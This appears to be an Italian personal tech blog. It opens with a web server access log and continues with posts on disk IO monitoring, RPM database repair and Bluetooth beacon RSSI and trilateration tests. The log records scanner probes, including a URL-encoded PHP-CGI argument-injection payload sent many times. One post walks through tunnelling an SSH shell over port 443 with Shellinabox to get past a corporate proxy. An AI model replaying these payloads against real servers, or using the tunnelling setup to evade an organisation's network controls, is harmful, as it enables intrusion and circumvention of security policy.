194.60.242.251 - - [23/Nov/2014:18:50:59 +0100] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 273 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
194.60.242.251 - - [23/Nov/2014:18:50:59 +0100] "POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 276 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
194.60.242.251 - - [23/Nov/2014:18:50:59 +0100] "POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 276 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
194.60.242.251 - - [23/Nov/2014:18:51:00 +0100] "POST /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 273 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
206.71.197.103 - - [24/Nov/2014:02:41:34 +0100] "GET /tmUnblock.cgi HTTP/1.1" 400 283 "-" "-"
85.17.82.67 - - [24/Nov/2014:03:43:02 +0100] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 272 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
85.17.82.67 - - [24/Nov/2014:03:43:02 +0100] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 273 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
85.17.82.67 - - [24/Nov/2014:03:43:02 +0100] "POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 276 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
85.17.82.67 - - [24/Nov/2014:03:43:02 +0100] "POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 276 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
85.17.82.67 - - [24/Nov/2014:03:43:02 +0100] "POST /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 273 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
63.138.17.133 - - [24/Nov/2014:03:56:51 +0100] "GET /vtigercrm/ HTTP/1.1" 404 272 "-" "curl/7.15.5 (i386-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5"
80.82.64.29 - - [24/Nov/2014:03:59:55 +0100] "GET /checkupdate.asmx HTTP/1.1" 404 277 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0"
67.198.128.138 - - [24/Nov/2014:11:25:53 +0100] "GET /web-console/ServerInfo.jsp HTTP/1.1" 404 287 "-" "-"
217.31.48.30 - - [24/Nov/2014:12:57:30 +0100] "HEAD /rom-0 HTTP/1.1" 404 - "-" "Python-httplib2/0.7.4 (gzip)"
141.212.121.225 - - [24/Nov/2014:13:17:30 +0100] "GET / HTTP/1.1" 200 146 "-" "-"
91.121.18.214 - - [24/Nov/2014:15:55:16 +0100] "GET / HTTP/1.1" 200 146 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:16 +0100] "GET /script HTTP/1.1" 404 267 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:19 +0100] "GET /jenkins/script HTTP/1.1" 404 275 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:19 +0100] "GET /hudson/script HTTP/1.1" 404 274 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:19 +0100] "GET /login HTTP/1.1" 404 266 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:20 +0100] "GET /jenkins/login HTTP/1.1" 404 274 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:21 +0100] "GET /hudson/login HTTP/1.1" 404 273 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:22 +0100] "GET /jmx-console HTTP/1.1" 404 272 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:22 +0100] "GET /manager/html HTTP/1.1" 404 273 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:22 +0100] "GET /msd HTTP/1.1" 404 264 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /mySqlDumper HTTP/1.1" 404 272 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /msd1.24stable HTTP/1.1" 404 274 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /msd1.24.4 HTTP/1.1" 404 270 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /mysqldumper HTTP/1.1" 404 272 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /MySQLDumper HTTP/1.1" 404 272 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /mysql HTTP/1.1" 404 266 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:23 +0100] "GET /sql HTTP/1.1" 404 264 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:24 +0100] "GET /phpmyadmin HTTP/1.1" 404 271 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:24 +0100] "GET /phpMyAdmin HTTP/1.1" 404 271 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:27 +0100] "GET /mysql HTTP/1.1" 404 266 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:27 +0100] "GET /sql HTTP/1.1" 404 264 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:27 +0100] "GET /myadmin HTTP/1.1" 404 268 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:28 +0100] "GET /phpMyAdmin-4.2.1-all-languages HTTP/1.1" 404 291 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:31 +0100] "GET /phpMyAdmin-4.2.1-english HTTP/1.1" 404 285 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:31 +0100] "GET / HTTP/1.1" 200 146 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:31 +0100] "GET /sqlite/main.php HTTP/1.1" 404 276 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:31 +0100] "GET /SQLite/SQLiteManager-1.2.4/main.php HTTP/1.1" 404 296 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:32 +0100] "GET /SQLiteManager-1.2.4/main.php HTTP/1.1" 404 289 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:33 +0100] "GET /sqlitemanager/main.php HTTP/1.1" 404 283 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:33 +0100] "GET /SQlite/main.php HTTP/1.1" 404 276 "-" "Python-urllib/2.7"
91.121.18.214 - - [24/Nov/2014:15:55:34 +0100] "GET /SQLiteManager/main.php HTTP/1.1" 404 283 "-" "Python-urllib/2.7"

venerdì 21 novembre 2014

Monitorare IO del disco su Linux

il metodo piu' semplice per monitorare la lettura/scrittura su disco risulta essere il comando iostat (utile piu' che altro perche' sempre installato di default)

con lo switch -m i dati vengono espressi in un formato umanamente leggibile (megabyte al posto di blocchi)

------------------------------------------------
Linux 2.6.32-504.1.3.el6.x86_64 (localhost) 21/11/2014 _x86_64_ (8 CPU)

avg-cpu:  %user   %nice %system %iowait  %steal   %idle
                   6,86      0,00    1,52         23,19    0,00      68,43

Device:            tps    MB_read/s    MB_wrtn/s    MB_read    MB_wrtn

sda              53,99         0,12                0,75                602       3866
------------------------------------------------
nella riga sda si leggono i valori instantanei di lettura/scrittura e di seguito quelli cumulativi


Per avere pero' un'idea piu' precisa di quale e' il programma che genera traffico su disco e' molto utile il programma in Python iotop (link)
con una interfaccia ncurses ed in tempo reale e' possibile monitorare in dettaglio la fase di IO su disco

Recuperare database YUM su Centos 7

Mentre cercavo di fare l'installazione di un pacchetto con yum la macchina e' andata incontro ad un reboot effettuato da un altro amministratore. Il risultato finale e' stato che dopo il riavvio il database degli rpm era corrotto con il seguente messaggio 

DB_RUNRECOVERY: Fatal error, run database recovery

per risolvere il problema si deve ricostruire l'indice dei pacchetti (come indicato a questo link) mediante i seguenti comandi

cd /var/lib/rpm 
rm -f __db* 
db_verify Packages
rpm -v --rebuilddb

venerdì 14 novembre 2014

Estimote RSSI

A seguito del precedente post ho ripetuto la prova anche con un Estimote



Valore medio RSSI: -67.1
St.Deviation : 1.95
Scarto massimo positivo : 2.15
Scarto massimo negativo : -3.84


venerdì 7 novembre 2014

Evadere da un proxy server 2 (la vendetta)

In un precedente post avevo scritto dei tentativi falliti di evadere dal http proxy server aziendale


Ovviamente non mi sono scoraggiato ed ho trovato un nuovo software Shellinabox che crea un server http su cui instrada una shell ssh mediante una interfaccia Ajax....poteva essere la soluzione per fregare il server proxy che instrada solo connessioni http legittime
si installa tramite il classico
apt-get install shellinabox

poi si edita il file di configurazione per il bucare il server proxy su una porta permessa (la 443 https)
nano /etc/default/shellinabox
in giallo l'ip della macchina

# TCP port that shellinboxd's webserver listens on 
SHELLINABOX_PORT=443

 # specify the IP address of a destination SSH server 
SHELLINABOX_ARGS="--o-beep -s /:SSH:150.xxx.xxx.xxx"

a questo punto si creano le chiavi per la connessione SSL

cd /var/lib/shellinabox
openssl genrsa -des3 -out server.key 1024
openssl req -new -key server.key -out server.csr
cp server.key server.key.org
openssl rsa -in server.key.org -out server.key
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
cat server.crt server.key > certificate.pem


si riavvia il servizio per le nuove impostazioni
service shellinabox reload

e si fa puntare il browser del client interno all'http proxy all'indirizzo https://150.xxxx.xxx.xxx, si accettano le eccezioni del certificato SSL e ci si trova di fronte alla shell ssh


Come si vede il login di root non e' permesso (nonostante il server ssh abbia PermitLoginRoot Yes) ma cio' puo' essere positivo
Si puo' obbiettare sulla falla di sicurezza che questo servizio puo' creare ed in questo senso puo' essere intelligente metterlo su una macchina destinata solo a fare da ponte verso l'esterno senza servizi critici e di produzione installati

in conclusione Missione Compiuta

mercoledì 5 novembre 2014

martedì 4 novembre 2014

Trilaterazione 2D con beacon


L'algoritmo di trilaterazione e' una tecnica che permette di individuare la posizione di un punto sconosciuto conosciuto le distanze dello stesso da punti quotati. La versione 3D e' alla base del posizionamento GPS ma quello che mi interessa e' la sua versione 2D per cercare di poter fare posizionamento indoor mediante antenne WiFi o beacons

Su questo argomento esiste una vasta letterature ingegneristica con risultati che vanno da ottimi a pessimi.

Nell'immagine viene riportato il metodo di calcolo (non ricordo la fonte)
Per semplicita' uno dei punti di riferimento e' in (0,0) mentre un altro e' sull'asse X (d,0). Il terzo punto e' in (i,j) mentre le distanze del punto incognito sono  rispettivamente R1, R2 ed R3



Per la prova ho usato tre beacons. Ho quindi realizzato una curva di taratura (per quanto possibile) che mi convertisse il valore di RSSI in metri

La prova e' stata effettuata creando una griglia regolare di 5x5 m e 3x3 m ed effettuando misure su alcuni nodi. In blu sono riportati i valori reali ed in rosso le posizioni calcolate
Importante: per ogni posizione e' stato preso il valore istantaneo di RSSI senza effettuare medie  di lunga durata perche' il tentativo era di tracciare il percorso di una persona in movimento

Risultati griglia 5x5

Risultati griglia 3x3 m

E' evidente che la prova ha avuto un esito decisamente negativo. L'algoritmo di calcolo di trilaterazione funziona, cio' che difetta e' la stabilita' del segnale dei beacons e l'impossibilita' di avere una legge affidabile per convertire i valori di RSSI in distanze

lunedì 3 novembre 2014

RSSI vs Distanza per CC2540/CC2541/Gimbal10

Giusto per prova ho messo in grafico i valori di RSSI e distanza per vedere se si trova una legge semplice per calcolare la distanza (non mi interessa se la legge di correlazione ha un senso fisico, solo che abbia un buon fit)

I valori sono mediati su molte misure (altrimenti si osservano le fluttuazioni del post precedente)

 Come indicazione generale si riesce a calcolare discretamente la distanza per valori inferiori al 1.5 m. CC2540 e' quello per cui i valori di RSSI vanno rapidamente a -100 e quindi sono indicati solo per una prossimita' molto stretta

CC2540 vs CC2541 cc Gimbal

Avendo tre modelli di Beacons ho provato a vedere quali sono le differenze principali
Per rendere comparabili i risultati ho effettuato una serie di misure di RSSI ad una distanza di 1 m con un medesimo telefono (Iphone 4S) ed utilizzando le applicazioni ufficiali dei costruttori

I tre processori sono il TI CC2540 (TI vecchio), TI 2541 (TI nuovo) e Gimbals serie 10
Grafico delle misure
TI CC2540
valore medio : -84.6
st. dev : 1.78
differenza massima positiva : 2.4
differenza massima negativa : -3.6

TI CC2541
valore medio : -73.2
st. dev : 1.77
differenza massima positiva : 2.8
differenza massima negativa : -3.2

Gimbal serie 10
valore medio : -90.6
st. dev : 1.78
differenza massima positiva : 3.3
differenza massima negativa : -4.6


In conclusione :
1) tutti i beacon esaminati hanno un valore simile di standard deviation per cui non esiste un vincitore
2) il valore di RSSI per tutti e' molto variabile, troppo per fare un posizionamento preciso

venerdì 31 ottobre 2014

Gimbal beacons

Aggiornamento
Con alcune app i beacon Gimbal sono visibili ma cambiano continuamente MAC Address per cui la lista continua ad aggiornarsi scoprendo sempre nuovi beacon (in realta' e' sempre il solito che aggiorna il proprio identificativo di basso livello)
Cio' comporta problemi su Android. Secondo quanto riportato da questo post di Radius Network (una ditta concorrente) dopo circa 40 minuti di utilizzo una applicazione Android va in crash a causa del numero limitato della lista di MAC Address che Android riesce a gestire

----------------------------------------

Grazie ad una simpatica iniziativa per gli sviluppatori (spediscono un kit gratuito anche all'estero...nonostante che sia indicato solo per gli USA) sono entrato in possesso di tre beacons Gimbal ovvero Qualcomm


Rispetto agli altri beacon testati basati sul TI CC2540 questi sono basati su processori proprietari della Qualcomm e sono decisamente molto meglio ingegnerizzati e miniturizzati (lo spazio e' quasi totalmente occupato dalla batteria CR2032)

Una prima differenza rispetto agli altri beacon testati e' che questi non vengono segnalati dai programmi basati sul uuid-major-minor. In pratica ogni beacon ha un proprio codice (4 caratteri - 5 caratteri) che deve essere comunicato a Gimbal per l'attivazione; in seguito i beacon solo visibili medianti le applicazione sviluppate con l'SDK di Gimbal (IOS e Android-Beta) ma non con altri software

Con il beacon posto vicino al telefono l'RSSI e' di -40, portandolo a circa ad oltre 3 m scende circa -80. Riportando velocemente in grafico


Il segnale risulta molto stabile (prova effettuata ad un 1 metro di distanza tra beacon ed IPhone) con una standard deviation del valore di RSSI di circa 0.6 unita'


Su Android le cose sono leggermente differenti con un valore di standard deviation di 1.2 unita'. Non male vista la precedente esperienza con i Texas Instruments